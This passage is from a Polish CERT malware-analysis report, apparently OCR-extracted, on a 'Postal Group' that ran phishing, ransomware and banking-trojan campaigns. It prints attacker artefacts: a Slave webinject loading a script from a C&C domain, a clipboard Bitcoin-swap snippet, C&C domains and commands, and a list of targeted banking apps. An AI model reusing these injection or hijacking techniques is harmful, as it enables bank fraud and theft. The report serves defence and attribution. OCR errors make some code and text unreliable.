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Podziekowania

Dziekujemy portalowi ZaufanaTrzeciaStrona.pl oraz firmie Logical Trust za dostarczenie dodatkowych
danych, ktére uwzglednilismy w tym raporcie.

O zespole

CERT Polska jest zespotem powotanym do reagowania na zdarzenia naruszajgce bezpieczehstwo w
sieci Internet. CERT Polska dziata od 1996 roku (do konca roku 2000 pod nazwg CERT NASK), a od roku
1997 jest cztonkiem FIRST (Forum of Incidents Response and Security Teams). W ramach tej organizacji
wspotpracuje z podobnymi zespotami na catym Swiecie. Zespdt CERT Polska dziata w strukturach Nauko-
wej i Akademickiej Sieci Komputerowej. Dziatalnos¢ zespotu jest finansowana przez NASK.
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1. Wstep

Przypisanie autorstwa ztosliwego oprogramowania jest trudnym zadaniem. Brzmi to oczywi-
Scie banalnie. Z reguty analitycy zajmujacy sie bezpieczenstwem IT, w przeciwienstwie do detek-
tywow policyjnych, nie sg profesjonalnie przeszkoleni w technikach $ledczych. W kwestiach zwig-
zanch z bezpieczenstwem IT analityk ma do czynienia z wieloma nieadekwatnymi czy sprzecz-
nymi infomacjami w procesie przypisywania autorstwa. Analitycy zazwyczaj bazujg na jednym
lub dwéch charakterystycznych podobienistwach miedzy nazwami domen lub prébkami szko-
dliwego oprogramowania. W tym raporcie, poprzez wskazanie potgczen pomiedzy domenami,
adresami IP i adresami URL, prze$ledzimy dziatania konkretnego przestepcy. Na koricu ukazemy
szerszy obraz dziatalnosci jednej z grup o nazwie

Grupa ta jest aktywna co najmniej od 2013 roku i byta odeW|edZ|aIna za wiele réznych kam-
panii rozprzestrzeniajgcych malware w wielu réznych krajach. Ich gtdwnym wektorem infekcji
sg e-maile phishingowe przypominajgce wiadomosci o $ledzeniu przesyitki z réznych urzeddéw
pocztowych na catym Swiecie. WSrod krajéw ktore byty celem kampanii znalazty sie miedzy in-
nymi Polska, Australia, Wielka Brytania i Hiszpania. Niniejszy raport ma na celu ujawni¢ przynaj-
mniej cze$¢ przedsiewziec tej grupy oraz wskazac potgczenia miedzy réznymi atakami na catym
Swiecie.

Czesto zdarza sie, ze jeden udany atak jest swego rodzaju zachetg i wywotuje podobne ze
strony innych grup przestepczych. Jednak ataki ktére zebraliSmy w raporcie wydajg sie by¢ do-
konane przez tg samg grupe, poniewaz taczy je nie tylko modus operandi, ale takze przez wyko-
rzystanie podobnej infrastruktury sieciowej, podobnych rodzin zto$liwego oprogramowania czy
tych samych danych z bazy whois.

Nie mozna réwniez wykluczy¢ scenariusza, w ktérym grupa ta jest jedynie siecig Scisle ze
soba powigzanych partneréw biznesowych. Oznaczatoby to, ze tworcy ztosliwego oprogramo-
wania mogli kupi¢ od tej grupy tzw. phishing kit w celu rozpowszechniania swojego wtasnego
ztosliwego oprogramowania, wykorzystujac ich infrastrukture sieciowg. Oczywiscie te koneksje
musiatyby by¢ wéwczas bardzo bliskie. Jednak jak jest faktycznie przekonamy sie, kiedy bedziemy
dysponowali wiekszg iloScig danych na temat ich wewnetrznych dziatan.

Ten raport opisuje dziatania podobne do tych, ktére firma ESET opisata w swoim raporcie o
TorrentLocker’. Jednak tutaj prezentujemy nowe informacje i analizujemy je w szerszym ujeciu.

! dostepny tutaj: http://www.welivesecurity.com/wp-content/uploads/2014/12/torrent_locker.pdf


http://www.welivesecurity.com/wp-content/uploads/2014/12/torrent_locker.pdf

2. Kalendarz kampanii

Kalendarz wszytskich kampanii przedstawiony w niniejszym raporcie znajduje sie ponizej.
DotozyliSmy staran aby daty byty mozliwie doktadne, jednak méwig o momencie zauwazenia
przez nas danej kampanii. W niektorych przypadkach moze to oznacza¢, ze kampania rozpoczeta

sie wczesniej niz zostato podane ponizej.

Pazdziernik

Pazdziernik
Pazdziernik

7 Pazdziernika

Grudzien

Kwiecien

Marzec

Kwiecien
19 Kwietnia

7 Maja

5 Sierpnia
Czerwiec

Wrzesien

2013

Exploit kity na skompromitowanych kontach afraid.org.

2014

Start oszustw zwigzanych z kasynami / ruletka
Szyfrujgce pliki ransomware na australijskg poczte?.

ABC News 24 switches from live to stand-by programming for half
an hour due to the CryptoLocker Australian Post attack.

Ataki na hiszpanska poczte3.

2015

Pierwsze ataki na sklepy internetowe oparte na OpenCart w celu ho-
stowania phishingu.

S21sec informuje o nowym ztosliwym oprogramowaniu ukierunko-
wanym na polskie banki o nazwie Slave*.

Phishing udajacy mandaty od Australijskiej Policji Federalnej®.
Utworzenie domeny sub-host-peer.net - Android C&C.

Kampania wykorzystujgca wizerunek Poczte Polskg i pierwsza probka
na Androida faczgca sie do sub-host-peer.net.

Utworzenie zapasowej domeny dla C&C Androida dynayo-rooxo-gabtype.net
Phishing i crypto-locker wykorzystujgcy wizerunek Royal Mail .

Phishing wykorzystujacy wizerunek dunskiej poczty .

http://www.abc.

net.au/news/2014-10-07/fake-auspost-emails-used-in-crypto-ransomware-attack/5795734

3http://www.securitybydefault.com/2014/12/atencion-infecciones-masivas-de.html
4http://securityblog.sleec.com/2015/03/new—banker—slave—hitting—polish—banks.html

5http://www‘mailguard.com.au/blog/the—australian—federal—police—are—the—latest—target—in—another—
cryptolocker-scam/

6http://www.actionfraud.police.uk/news/alert—two—variations—of—royal—mail—scam—emails—containing—
cryptolocker-are-being-sent-by-fraudsters-junib

"https://heimdalsecurity.com/blog/security-alert-the-global-get-your-cryptolocker-as-a-package-
campaign-continues/



http://www.abc.net.au/news/2014-10-07/fake-auspost-emails-used-in-crypto-ransomware-attack/5795734
http://www.securitybydefault.com/2014/12/atencion-infecciones-masivas-de.html
http://securityblog.s21sec.com/2015/03/new-banker-slave-hitting-polish-banks.html
http://www.mailguard.com.au/blog/the-australian-federal-police-are-the-latest-target-in-another-cryptolocker-scam/
http://www.mailguard.com.au/blog/the-australian-federal-police-are-the-latest-target-in-another-cryptolocker-scam/
http://www.actionfraud.police.uk/news/alert-two-variations-of-royal-mail-scam-emails-containing-cryptolocker-are-being-sent-by-fraudsters-jun15
http://www.actionfraud.police.uk/news/alert-two-variations-of-royal-mail-scam-emails-containing-cryptolocker-are-being-sent-by-fraudsters-jun15
https://heimdalsecurity.com/blog/security-alert-the-global-get-your-cryptolocker-as-a-package-campaign-continues/
https://heimdalsecurity.com/blog/security-alert-the-global-get-your-cryptolocker-as-a-package-campaign-continues/

2. Kalendarz kampanii

Lista krajow, ktore byty celem Grupy Pocztowej:

e Polska e Rosja e Dania
e Turcja e Hiszpania e Wiochy
e Australia e Wielka Brytania e Czechy

Oczywiscie lista ta moze nie by¢ kompletna, gdyz obejmuje tylko kraje, ktére z pewnoscig
moglismy zaliczy¢ do celéw Grupy Pocztowej. PotwierdziliSmy to nie tylko na podstawie przesy-
tanych wiadomosci phishingowych z CryptoLockerem kierowanych do danego kraju, ale rowniez
biorgc pod uwage podobienstwo tresci, stron docelowych oraz konstrukcji URLI.



3. Szczegbty kampanii: ztosliwe oprogramowanie i oszustwa

Pierwsza kampania, ktérg zaobserwowaliSmy zostata opisana na naszym blogu. Wykorzy-
stywata ona wiadomosci e-mail podszywajgce sie pod Poczte Polskg informujgce potencjalne
ofiary o niedostarczonej przesytce. Po kliknieciu na link, i nastepujgcej po nim serii przekiero-
wan, uzytkownikowi ukazywata sie strona internetowa blizniaczo podobna do serwisu interneto-
wego Poczty Polskiej. Na stronie znajdowata sie instrukcja uzyskania numeru sledzonej przesyiki
poprzez pobranie i uruchomienia pliku apk lub exe.

W zaleznosci od systemu operacyjnego ofiary, uzytkownik byt poinstruowany zeby zainstalo-
wac albo ztosliwe oprogramowanie Andromeda albo Android OpFake. Wersja oprogramowania
na system Android jest opisana ponizej.

3.1. Phishing na Poczte Polsk3 i falszywe mandaty

Phishing rozpoczynat sie tadnie sformatowanym emailem w formacie HTML rozsytanym do
potencjalnych ofiar. Zrzuty z ekranu 1 przedstawiajg przyktady takich wiadomosci dystrybuowa-
nych w Polsce i w Australii.

TRAFFIC
INFRINGEMENT

AFP

AUSTRALIAN FEDERAL POLICE
EVIDENCE

Poczta Polska You have been issued with a traffic infringement:

Reason: negligent drivin
Kurier nie dostarczyt przesytkg do numeru zgloszenia RR6536886973PL na adres Infringemen?: |\|g°: 182930919380

05.07.2015, poniewaz nikt w tym czasie. Prosze zobaczy¢ informacie na temat wysytki, Date of issue: 07/04/2011

drukowania i i$¢ na pocztg, aby otrzymac pakiet. Amount due: $150.00 AUD
Due date: 10/05/2011

To see more information please view your infringement notice.

Payment must be made within 14 days from the date of service of the
infringement notice or the reminder notice.

‘ Zobacz informacje ‘

Uwaga

Jezeli przesylka nie dotrze w ciggu 7 dni roboczych Poczta Polska bedzie miata prawo

do ubiegania sig koszty utrzymania przesytka 50 z! za jeden dzief. Dziekujemy za You may apply for an extension to pay the infringement notice penalty, or to

korzystanie z naszych usiug dostawy. Zyczac milego dnia Twoja Poczta Polska. dispute the liability, within 28 days from the date of service of either the
infringement notice or the reminder notice.

To jest generowany automatycznie e-mail, kliknij jeZeli chcesz sie wypisa¢
This is automatically generated message, please visit to unsubscribe.

Poczta Polska S.A. (c) 2015. Wszelkie prawa zastrzezone.
© Commonwealth of Australia 2015

(@) Wiadomos¢ od Poczty Polskiej (b) Zawiadomienie o mandacie od australijskiej policji
(Zrédfo: abc.net.au)

Rysunek 1: Emaile phishingowe

Klikniecie w link z wiadomosci prowadzito do strony tudzgco podobnej do witryny firmy, pod
ktérg kampania phishingowa sie podszywata. Rysunek 2 przedstawia strone internetowg, na
ktérg prowadzity linki z wiadomosci od Royal Mail. Co ciekawe, w wiadomosciach znajdowaty
sie odnos$niki do dwdch stron docelowych. Jeden pod "Sledzeniem przesytkig drugi pod gnulo-
waniem subskrypcji". Drugi link prowadzit do strony na ktorej wyswietlato sie po prostu stowo

unsubscribed.
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3. Szczegbty kampanii: ztosliwe oprogramowanie i oszustwa

eBa Roval Mail Track and Trace | %

<« C  [1 royalmail-tracking.info/track php gy =
G <

Business services

[ ]
i Login or register *

i

Royal Mail

Sending mail Receiving mail Help & support

Home > Receiving mail > Track and Trace

Track and Trace

((
i

To view infarmation about your package please enter numhber shown in the image below

Fleaze download and open (track.zip 259 kh)

853833 =

- S

SENDING TRACKING
important or valuable mail important or valuable mail

Send mail in the LIK Wihatis Track & Trace?
Send mail overseas How do | use Track & Trace?
Howe do I track an itern sent from abroad?
The system isn't accepting my reference number
How can | follow up & previous enguing?
I've lost rmy reference number

It says accepted but | don't recognise the posteode

ar address
ADDITIONAL SERVICES ADDITIONAL SERVICES
for sending mail for tracking mail
Frice a delivery Learn mare about electranic Proof of Delivery

Rysunek 2: Strona phishingowa Royal Mail (Zrédfo: ESET welivesecurity blog)

Kod zrodtowy na listingu 1 zawiera fragment, ktory zostat zakomentowany na stronie pod-
szywajgcej sie pod Poczte Polskg. Ten kod oczywiscie nie byt wykonywany ze wzgledu na lite-
rowke (bowser zamiast browser) w linii numer 6. Mozna tez zauwazyc rosyjski komentarz w linii
23 (ttumaczy sie na dostajemy userAgent) i rosyjski cigg znakéw w linii 28 (ttumaczy sie na nie
zdefiniowany).

To wskazuje, ze strona phishingowa kierowana byta nie tylko do uzytkownikéw systemu Win-
dows, ale takze, na podstawie nagtéwka User-Agent, rowniez probowata zainfekowac uzytkowni-
kéw Androida.

$ (document) .ready (function () {
$("a").click(function (e) {

if (get_os()==’android’){
if (bowser.opera){

location.href= ’http://miniOpera.org’;

else {




3. Szczegoty kampanii: ztosliwe oprogramowanie i oszustwa

11 location.href= ’http://androidbrowser.org’;
12 }

13

14 }

15 elseq

16 location.href= ’http://xhamster.com’;
17 }

18 return false;

19 i)

20

21 b

22 function get_os (){

23 // momydaeM nammbe userAgent

24 var ua = navigator.userAgent;

25 if (ua.search(/android/) > 0) return ’android’;
26 if (ua.search(/Android/) > 0) return ’android’;
27

28 return ’He omnpegnenexn’;

29 ¥

Listing 1: Fragment kodu JavaScript ze strony phishingowe;j

Oprocz rejestracji domen i wykorzystywania adresow IP z hostingu w celu umieszczenia tam
stron z phishingiem, Grupa Pocztowa wykorzystywata réwniez luki w systemie e-zakupéw Open-
Cart do hostingu swoich stron. W tym przypadku umieszczali pliki z gotowego zestawu do phi-
shingu (ang. phishing kit) w katalogu /system/logs.

Warto zauwazyg, ze ta strona phishingowa byta uzywana do dystrybucji albo TorrentLockera
(zobacz 3.3) albo bota Andromeda (zobacz 3.7).

3.2. E-maile ze ztosSliwym oprogramowaniem

Qd: Krzysztof Romski <krzysztof.r@kruksas.pl=
Dot biuro@

DWW

Temat: wezwanie do zaplaty, KRU

Al 'Wiadomas¢ | % windykacja_nr_98338.pdf.7z (87 KB)

Drodzy Panstwo,

Ze wzgledu na brak splaty zadluzenia przesylamy przedsadowe wezwanie do zaplaty.
Haslo do zalacznika: wezwanie33

Kruk S.A
ul. Wolowska &
51-116 Wroclaw

Rysunek 3: Email z fakturg
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Inng metodg wykorzystywang przez Grupe Pocztowg byto wysytanie wiadomosci zawieraja-
cych albo dokument z makrem albo chroniony hastem plik zip juz zawierajgcy zto$liwe opro-
gramowanie. Hasta do plikéw byly zawsze podawane w tresci wiadomosci, napisanych w jezyku
potencjalnej ofiary i zwykle udajgcych niezaptacone faktury.

Jak juz wspomniano w poprzednim podrozdziale, te wiadomosci byty wykorzystywane do
rozsytania TorrentLockera albo Andromedy.

3.3. TorrentLocker

Bardzo szczegdtowy opis TorrentLockera jest dostepny w raporcie na stronie http://www.welivesecurity.c
content/uploads/2014/12/torrent_locker.pdf. Najwazniejsze ustalenia z niego to:

e Ksigzka adresowa i dane dostepowe SMTP z klientéw pocztowych Thunderbird, Outlook,
Outlook Express i Windows Mail sg wykradane.

e Najnowsza wersja wykorzystuje do szyfrowania plikow AES-256 w trybie CBC. Przez to trudno
jest odszyfrowa¢ dokumenty.

e Zanim pojawi sie komunikat, pliki na dysku sg szyfrowane.

e Trzeba zaptaci¢ okreslong sume Bitcoindw przez domene Tor .onion.

I CryptoLocker E|E| E|
~

OSTRZEZENIE
mamy zaszyfrowane swoje pliki wirusem CryptOLOcker

Twoje wazne pliki [w tyr na dyskach sieciowyech, USB, etc): zdjecia, filmy, dokumenty, itp zostaty zaszyfrowane za pomocy,
naszego wirusa CryptOLocker. Jedynym sposobem, aby przywricic pliki jest nam zaptacic. W przeciwnym wypadku, pliki zostang,
utracone,

Uwaga: Usuwanie CryptOLOcker nie przywrdci dostep do zaszyfrowanych plikdw,

Kliknij tutaj, aby placic za pliki odzysku

NajczeA-ciej zadawane pytania

[+] Co sie stato z moich plikdw?

Zrozumienie problemu

[+] Jak moge dostad moje pliki z powrotem?

Jedynym sposobem, aby preywrocic pliki

[+] Co mam teraz zrobic?

Kup deszyfrowanie

Rysunek 4: Komunikat z TorrentLockera
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Rysunek 4 przedstawia komunikat pojawiajacy sie na komputerze, na ktérym zostaty zaszy-
frowane pliki.

3.4. OpFake Android

Pierwsza obserwowana przez nas prébka, zostata przestana do serwisu VirusTotal w dniu 11
lipca 20158. Byt to malware o nazwie "OpFake” charakteryzujgcy sie kilkoma ciekawymi funk-
cjami. Aplikacja 0 nazwie com.android.system posiada wiele r6znych i niebezpiecznych upraw-
nien wylistowanych na rysunku 5.

<uses-permission android:name="android.permission. INTERNET" />
<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission HTERMAL_STORAGE"/>
<uses-permission android:name="android.permission ONTACTS"[>
<uses-permission android:name="android.permission 00T _COMPLETED"™/>
<uses-permission andreoid:name="android.permission.CA OME" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

<uses-permission android:name="android.permission

Rysunek 5: Uprawnienia aplikacji zadeklarowane w AndroidManifest

Zadeklarowane zostaty takze standardowe odbiorniki zdarzen, ktére zapewniajg, ze aplikacja
zostanie uruchomiona ponownie po restarcie systemu lub gdy nastapi zmiana potgczenia (np.
kiedy WiFi zostanie wigczone). Jest to mechanizm perystencji podobny do tego stosowanego
w zto$liwym oprogramowaniu na system operacyjny Windows. W celu utrudnienia automatycz-
nej ekstrakcji domen C&C, malware implementuje kodowanie base64 ciggow znakow, przedsta-
wione na rysunku 6. Jest ono jednak uzywane tylko do kilku istotnych ciggéw znakdw, a nie w
catym ztosliwym oprogramowaniu.

Ciagi znakow ktore sg zaciemnione w ten sposéb to:

e sub-host-peer.net - domena C&C

8Wszytskie przyktadowe hashe sg zawarte w zatgczniku A
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e /admin_mod - C&C URI

e Dynayo-Rooxo-Gabtype.net,Skinder-Chatcast-Topcat.net,Topcat-Centido-Abadel.net,
Twitterbug-Flashpedia-Skipster.net,Digiify-Devify-Chatfly.net,
Teknation-Brighttube-Zoomtag.net,Meevee-Yamba-Dynatri.net - zapasowe domeny C&C

.methed public static final a()Ljavaflang/String;
.locals 2
const-string v@, "c3VilWhvc3QtcGVlciSuZxg="

constf4 vl, 0x@

invoke-static {v@, vl}, Landroid/util/Base6d;->decode(Ljava/lang/String;I)[B
move-result-object wvE

new-instance v1, Ljava/lang/String;

invoke-direct {vl, w8}, Ljava/lang/String;-><init>([B)V

return-object

.end method

Rysunek 6: Schemat odszyfrowywania

Prébka odwotuje sie do trzech punktéw kontaktowych C&C:

e reg.php - uzywane jako pierwszy punkt kontaktowy, w celu rejestracji. Wysytane sg wtedy
nastepujgce informacje:

Producent telefonu

Kod kraju
Numer telefonu

Model telefonu

Operator sieci GSM (oryginalny i obec-
nie uzywany)

Wersja Androida

Stan konta prepaid

Numer wersji i kompilacji ztosliwego
IMEI oprogramowania

e gettask.php - uzywany, aby uzyskac aktualne zadanie, ktére malware ma wykonac, zawiera
réwniez informacje wymienione powyzej, a takze informacje na temat tego, czy telefon ma
zdjete zabezpieczenia systemu operacyjnego (ang. jailbreak) czy nie.

e setdata.php - uzywany do przestania aktualnych wynikow zadania.

Jednym z typowych zadan jest zapros_informacii, CO W rosyjskim (sanpoc undopmanuu) znaczy
zqdanie informacji. Jest wykorzystywane do wysytania tresci i nadawcéw wiadomosci SMS i MMS.

Kolejne zadanie ma nazwe app i jego celem jest zebranie informacji na temat zainstalowanych
aplikacji. Wysyta ono informacje o wszystkich aplikacjach, ktérych nazwy nie rozpoczynajg sie od:
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e com.google. e com.samsung e com.alcatel e com.motorola
e com.android. e com.sony e com.asus
e com.zte
e com.facebook. e com.lg e com.highscreen
) e com.texet
e com.broadcom e com.lenovo e com.huawei
e com.htc e com.acer e com.meizu e com.sec.android

Atakujacy jest w rzeczywistosci zainteresowany aplikacjami, ktére zostaty zainstalowane przez
uzytkownika.

Ostatnie zadanie nazywa sie book i wysyta wszystkie dane kontaktowe (numer telefonu i wy-
Swietlana nazwa) do atakujgcych. Dane te mogg zosta¢ w przysztosci wykorzystane do rozprze-
strzeniania szkodliwego oprogramowania przy wykorzystaniu atakéw phishingowych.

We were also able to identify two additional two additional apps that had the same C&C and
communication protocol: com.mailpl.apps.pl and com.plpochta.app. pochta is a transliteration
of Russian word noura meaning post office.

Innym kanatem komunikacji z C&C sg wiadomosci SMS. Format komend jest nastepujacy:

<typ_komendy>[:<parametr_1>:<parametr_2>: ... :<parametr_n>]

Komendy muszg pochodzi¢ z predefiniowanego numeru. Niektore z typdw komend zostaty
podane nizej.

e set_admin - zmiana numeru, z ktérego majg przychodzi¢ komendy.

e send_sms - wystanie wiadomosci SMS pod okreslony numer (uzywane np. do SMSow Pre-
mium).

e send_fake - tworzenie wiadomosci SMS, ktéra jest "fatszywa” - nie przyszta od operatora,
tylko zostata stworzona przez malware.

e set_url - zapisanie nowego adresu URL serwera C&C.

e wipe - wykonanie przywrocenia do ustawien fabrycznych. Na czas przywrdécenia do usta-
wien fabrycznych ekran jest zablokowany z hastem 12345.

e get_ussd - wykonanie kodu USSD (sprawdzenie stanu konta telefonéw prepaid).

Ta aplikacja pozwala przestepcom przekierowac¢ przychodzace wiadomosci na inny numer.
Kiedy przychodzi wiadomos¢ z numeru przywigzanego do konta, dzwiek dzwonka zostaje wyci-
szony tak, aby uzytkownik przegapit te wiadomos¢.

Aplikacja réwniez bardzo skutecznie domaga sie uprawnien administratora urzgdzenia. Jesli
uzytkownik probuje cofngc te uprawnienia, udaje mu sie, ale od tego czasu jest wielokrotnie py-
tany o te zgode. Dzieje sie tak do momentu az uzytkownik nie jest w stanie korzystac ze swojego
telefonu i ostatecznie klika "Akceptuj”.

To ztosliwe oprogramowanie wykorzystuje rowniez technike zwang Application overlay - wy-
Swietla ono okno nad dziatajgcg aplikacjg z prosbg o login i hasto. W ten sposéb uzytkownik
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jest prawie pewien, ze to dziatajgca aplikacja domaga sie hasta. Dotyczy to, np. aplikacji Gmail,
ktéra jest przedstawiona na ponizszym filmie. Nalezy zwréci¢ uwage na niewielkie opdznienie
miedzy otwarciem okna gtéwnego aplikacji i okienka proszgcego o login i hasto. Ta technika jest
przedstawiona w tym filmie: https://youtu.be/0OmeSb7DwxJM i na rysunku 7.

Malicious app
E-malil

Password

Rysunek 7: Przestoniecie aplikacji

Jesli jezyk telefonu jest ustawiony na angielski, rosyjski lub polski, uzytkownik dostaje dopaso-
wang dla danej lokalizacji wersje pojawiajgcego sie powiadomienia. Jesli uruchomiona aplikacja
jest aplikacjg polskiej bankowosci mobilnej, uzytkownik otrzymuje popup wzbogacony o logo
tego banku. Moze okazac sie to bardziej skuteczne, gdyz uzytkownik bedzie myslat, ze jest to
prawdziwy komunikat aplikacji. W przypadku aplikacji z Google Play, uzytkownik zostaje popro-
szony o podanie danych swojej karty kredytowej. Informacje te mogg by¢ nastepnie sprzedane
lub wykorzystane bezposrednio do zakupu towardéw.

Aplikacje ktore byty atakowane przy wykorzystaniu tych technik to te, ktérych nazwy aktyw-
nosci (Activity) rozpoczynajg sie od nastepujgcych ciggow znakow:

e ru.sberbankmobile e bankapp.droid.LoginActivity
e com.kavsdk.ui.AlertDialogActivity e org.westpac.bank

e au.com.nab.mobile e com.westpac.banking

e com.dreamstep.wB0OQ e com.commbank.netbank

e org.stgeorge.bank e de.sdvrz.ihb.mobile

e au.com.suncorp.SuncorpBank e de.unicredit.ifpapp



https://youtu.be/OmeSb7DwxJM
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e hr.asseco.android. jimba e pl.eurobank

e ru.ucb.android e com.grppl.android.shell.CMBlloydsTSB73
e hr.asseco.android. jimba e com.lloydsbank.businessmobile

e de.ing diba e com.grppl.android.shell.halifax

e com.ing.diba e com.htsu.hsbcpersonalbanking

¢ com.commerzbank e com.barclays.android.barclaysmobilebanking

* de.commerzbanking e com.barclays.bmb.ui

e de.postbank.finanzassistent . .
e com.rbs.mobile.android.ubr

e com.starfinanz.smob . )
e com.rbs.mobile.android.ubn

e com.isis_papyrus.raiffeisen_pay_eyewdg
e com.rbs.mobile.android.natwest

e at.racon.mandantraiffeisen.activities
e com.rbs.mobile.android.natwestbandc
e pl.pkobp.iko
e com.rbs.mobile.android.natwestoffshore
e cu.eleader.mobilebanking.pekao.ui.access
e uk.co.santander.santanderUK
e pl.mbank
e uk.co.santander.businessUK
e pl.multibank

e uk.co.santander.mobile
e pl.nmb.activities

e co.uk.Nationwide.Mobile
e pl.ing.ingmobile.

e uk.co.northernbank.android.tribank
e pl.ing.ingmobilehd

. . . e com.trifork.android.tribank
e com.getingroup.mobilebanking

e com.comarch.mobile.android * com.grppl.android.shell.BOS

e wit.android.bcpBankingApp.LoginActivity e uk.co.bankofscotland.businessbank

e pl.millennium.corpApp e com.monitise.coop

e pl.bzubk.bzwbk24 e com.ubs.swidKXJ.android

e cu.eleader.mobilebanking.ui.access e com.bankofireland.mobilebanking
e cu.eleader.mobilebanking.raiffeisen e com.mcom.MobileBanking

e cu.eleader.mobilebanking.invest e uk.co.tsb.mobilebank

Warto zauwazy¢, ze w przypadku tej aplikacji, atakujgcy nie potrzebujg wspoétdziatajgcego zto-
Sliwego oprogramowania na komputerze aby dokonac transferu srodkéw z kont ofiar. Przejmu-
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jac kontrole nad wiadomosciami uzytkownika, majg dostep do haset jednorazowych opartych na
SMS. Korzystajgc z techniki przestoniecia aplikacji (ang. application overlay), moga rowniez nakto-
ni¢ uzytkownika do przestania loginu i hasta. W ten sposob, atakujgc sam telefon zyskujg niemal
petng kontrole nad kontem bankowym.

Jednakze od wydania Android KitKat uzytkownicy mogg juz zobaczy¢ wszystkie przychodzgce
wiadomosci, o ile trojan bankowy nie zostanie ustawiony jako gtéwna aplikacja do wysytania
SMS-6w. Ponadto od wydania Android Lollipop wywotanie APl getRunningTasks jest ograniczone,
a takze skutki implementacji przez OpFake techniki przestoniecia aplikacji zostaty skutecznie zmi-
nimalizowane.

3.5. Slave

Slave to stosunkowo prosty trojan bankowy, ktory wstrzykuje kod JavaScript do strony ban-
kowosci internetowej, zanim zostanie ona wyswietlona przez przegladarke. Przyktad takiego we-
binjectu przedstawiono na listingu kodu zrédtowego 2.

1 {
2 "pre": "</title>",
3 "pOSt"I ||<||’
4 "target": "x.pekao24.plx*",
5 "inj": "<script type=\"text/javascript\" src=\"//www.gtagmanager.com/js/get.php?
key=vTeJ5ZEbXaB7jNU3iDC5&id=4\"></script >"
6 }
Listing 2: Przyktad webinjectu Slave
Te webinjecty zostaty pobrane z serwera C&C, ktory byt zlokalizowany na trzech réznych do-
menach:
e bizzanalytics.com e wvholetdiedogsout.com
e gtagmanager.com e mymotherhascome.com

URI na ktore taczy sie Slave to /info.php?key=[(cz¢§é) adresu BTC]. Nie wiemy doktadnie
jaki jest zwigzek miedzy adresami BTC i odebranymi webinjectami, ale niektére z adresow Bitco-
inowych posiadajg znaczne Srodki. Jeden z nich ma ponad 133 Bitcoiny (30 000 Euro). Jak widac
domeny C&C i domeny skryptéw webinjectdéw sg takie same.

= stremp{"12gjiEBZ2BafAlrEnayDicaTXrtYsoXfhEE" HH

= = <0y | 1;

if | k& sub_d401CEBO( ol

stropy_si ;, 0x23u, "1Z2gjiEBZBaQAlrEnayDZcaTXrt¥soXfbBE");
lobalUnleck |
if { OpenClipbeard(0) }

Dat 3 (1u, |

Rysunek 8: Kod podmieniajgcy adres BTC w schowku
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Slave takze monitoruje schowek w celu znalezienia i podmiany adresu Bitcoin na adres wpi-
sany przez atakujgcego. Kod ten jest pokazany na rysunku 8. Czasem zastgpiony adres jest taki
sam jak adres w URLu C&C, jednak czesto jest inny.

Adresy bitcoinowe (lub ich czesci) ktére byliSmy w stanie odnalez¢ w URLach C&C to:

e 1NoKsR7jcTTufgrvh6zyvyJmL2z73aQXQP e 19MVRWRQoBA8ZaFbDEjwS9

e 18dfcnDfeCEpxJLBipBaW5PYLMgSuh7mYx
o vTeJ5ZEbXaB7jNU31DC5

o DxoKI4EEMZwJGIwS5SUxMCIHBQRKA4U

e hQEMAwW]jOozTqt1iAQgA]jYKm8wz7gqb e BaW5PYLMgSuh7mYx

Niektore wersje Slave'a usuwaty nagtowki Content Security Policy, stosowane przez niektére
banki do wykrywania skryptéw wstrzyknietych z zewnetrznych domen. Po wycieciu nagtéwka
CSP, przegladarka nie wykrywa zadnych dotgczonych skryptéw JavaScript i bank nie dostaje in-
formacji o szkodliwych webinjectach.

Slave byt prawie zawsze rozpowszechniany za pomocg droppera bota Andromeda (patrz 3.7).

malware hosting Andromeda C&C

download Slave

( >E<— ping & get file URLs
AN
N

e-mail or phishing

Malware zip file

Rysunek 9: Schemat dystrybucji Slave'a

Dodatkowe informacje o ztosliwym oprogramowaniu Slave mozna znalez¢ w raporcie F5:

https://devcentral.f5.com/articles/slave-malware-analysis.

3.6. Przekrety z ruletka

Istnieje pewien znany sposob oszustwa bazujgcy na wadliwej technice oszukiwania w grze w
ruletke. Nalezy wedtug niego obstawic tylko jeden kolor zaczynajgc od zaktadu za 1 dolara. Na-



https://devcentral.f5.com/articles/slave-malware-analysis
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stepnie, jesli wypadnie obstawiony kolor - gracz wygrywa 2 dolary. Jesli nie jest, nalezy podwoic
swoj zaktad. W ten sposob, jesli gracz wygra w dowolnym z zaktaddw, wcigz wygra 1 dolara wiecej
niz wszystkie pienigdze ktére zainwestowat, po prostu dlatego, ze dla kazdego n > 0:

n
2n+1 _ 221 — 1
=0

Jednakze istniejg dwa gtdwne problemy z tym sposobem gry. Pierwszym z nich jest to, ze 2" ro-
$nie bardzo szybko. W drugim zaktadzie trzeba miec 3 dolary w celu obstawienia obu zaktadow.
W 10. zaktadzie, trzeba juz mie¢ 1023 USD. Nawet jesli gracz miatby tak duzo pieniedzy i chciatby
je postawi¢, wszystkie ruletki majg zielone pola 0 (czasami nawet dodatkowe zielone pole 00).
Co oznacza, ze prawdopodobienstwo, ze wygra obstawiony kolor nie jest 3, a raczej 12 ~ 0.486.
Zasoby naszego portfela takze sg ograniczone. Zatézmy, ze gracz jest gotdéw zatozy¢ sie w tym
systemie o nieco ponad 1 min dolaréw. Oznacza to, ze zamiast zawsze wygrywac jednego dolara,
wygra Srednio:

18 19\ 18 19\" 18 19\ %
EX]=1 o +1- <37> g et (37) 37 — 1048575 - <37> ~ —0.705[USD]
Ato zkolei oznacza ze, jak zawsze, tylko kasyno wygrywa. Ale, moze ono tez podzieli¢ sie wygrang
z przestepcami...

Technika ta jest reklamowana jako pewny sposob na wygrang i metoda, ktéra pozwala za-
robi¢ duzo pieniedzy z domu. Grupa Pocztowa skierowata ten atak przede wszystkim na po-
zostajgce w domach matki. Grupa zarabiata pienigdze, poniewaz rozsytata linki do programow
partnerskich kasyn. Programy te wynagradzajg osoby, ktore moga przyciggnac¢ do kasyn nowych
